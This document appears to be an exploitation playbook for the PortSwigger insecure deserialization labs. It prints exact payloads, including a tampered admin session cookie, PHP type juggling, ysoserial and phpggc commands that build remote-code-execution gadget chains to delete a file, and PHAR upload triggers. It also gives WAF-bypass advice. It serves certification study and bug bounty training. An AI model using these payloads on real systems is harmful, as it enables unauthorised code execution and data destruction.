Insecure deserialization

Insecure Deserialization — Complete Deep Dive

Deep-Dive Lab Playbook — Every PortSwigger lab variant with exact payloads, bypass techniques, and zero-day extensions. 🟢 Apprentice 🟡 Practitioner 🔴 Expert

When to Use

• BSCP certification prep
• Real-world bug bounty hunting
• Building exploitation chains
• Understanding bypass techniques

Prerequisites

• Burp Suite Professional
• Burp Collaborator / interactsh
• Browser with proxy configured

Workflow

Phase 1: Reconnaissance

• Identify input vectors, parameters, and application behavior.

Phase 2: Exploitation

• Apply standard lab payloads.

Phase 3: Zero-Day Escalation

• Fuzz filters, bypass WAFs, and chain with other vulns.

Lab Playbooks

Lab 1: Modify serialized objects 🟢 APPRENTICE

Cookie: session=O:4:"User":2:{s:8:"username";s:6:"wiener";s:5:"admin";b:0;}
# Change b:0 to b:1 (admin=true):
Cookie: session=Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czo1OiJhZG1pbiI7YjoxO30= (base64)

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Lab 2: Modify data types 🟡 PRACTITIONER

# Change password string to integer 0:
s:8:"password";s:6:"secret"  →  s:8:"password";i:0;
# PHP loose comparison: 0 == "any_string" is TRUE

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Lab 3: Application functionality exploit 🟡 PRACTITIONER

Delete avatar uses file path from serialized object. Change path to /home/carlos/morale.txt → app deletes target file.

Lab 4: Arbitrary object injection PHP 🟡 PRACTITIONER

Find class with __destruct() or __wakeup() magic method. Inject that class with controlled properties.

Lab 5: Java deserialization Apache Commons 🟡 PRACTITIONER

java -jar ysoserial.jar CommonsCollections4 'rm /home/carlos/morale.txt' | base64

Replace session cookie with ysoserial payload (base64-encoded).

Lab 6: PHP pre-built gadget chain 🟡 PRACTITIONER

./phpggc Symfony/RCE4 exec 'rm /home/carlos/morale.txt' | base64

Sign with leaked SECRET_KEY, inject as serialized cookie.

Lab 7: Ruby documented gadget 🟡 PRACTITIONER

Use documented Ruby deserialization gadget chain from public research.

Lab 8: Custom Java gadget chain 🔴 EXPERT

Analyze source code, find: serializable class → dangerous method call chain → RCE. Build custom chain.

Lab 9: Custom PHP gadget chain 🔴 EXPERT

Walk class autoloading: __wakeup() → __toString() → file_get_contents() → arbitrary file read.

Lab 10: PHAR deserialization 🔴 EXPERT

# Upload PHAR file disguised as image
# Trigger via: phar:///var/www/uploads/avatar.phar/test
# Any file operation (file_exists, fopen) on phar:// triggers deserialization

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Blue Team Detection

• Monitor access logs for anomalous payloads.
• Implement strict input validation and parameterized queries where applicable.
• Create WAF rules masking generic attack patterns.

Zero-Day Research

When standard technique fails:

1. Identify the filter/WAF
2. Fuzz with Burp Intruder custom wordlists
3. Search GitHub/Twitter for new bypasses
4. Chain with other vulns for escalation
5. Try encoding variants: URL, double-URL, unicode, hex

Key Concepts

Concept	Description
PortSwigger Vectors	Standardized approaches to vulnerability classes.
Payload Encoding	Modifying payloads to bypass basic string matching WAFs.

Output Format

Vulnerability Deep-Dive Report
==============================
Target Vector: [Endpoint]
Bypass Technique: [Explanation of bypass]
Payload Used: [Payload]
Impact Explanation: [Impact]

🔵 Blue Team

• Deploy robust WAF rules to detect anomalies.
• Monitor logs for unusual access patterns.

🛡️ Remediation & Mitigation Strategy

• Input Validation: Sanitize and strictly type-check all inputs.
• Least Privilege: Constrain component execution bounds.

📚 Shared Resources

For cross-cutting methodology applicable to all vulnerability classes, see:

• _shared/references/elite-chaining-strategy.md — Exploit chaining methodology and high-payout chain patterns
• _shared/references/elite-report-writing.md — HackerOne-optimized report writing, CWE quick reference
• _shared/references/real-world-bounties.md — Verified disclosed bounties by vulnerability class

References

• PortSwigger Labs
• PayloadsAllTheThings
• HackTricks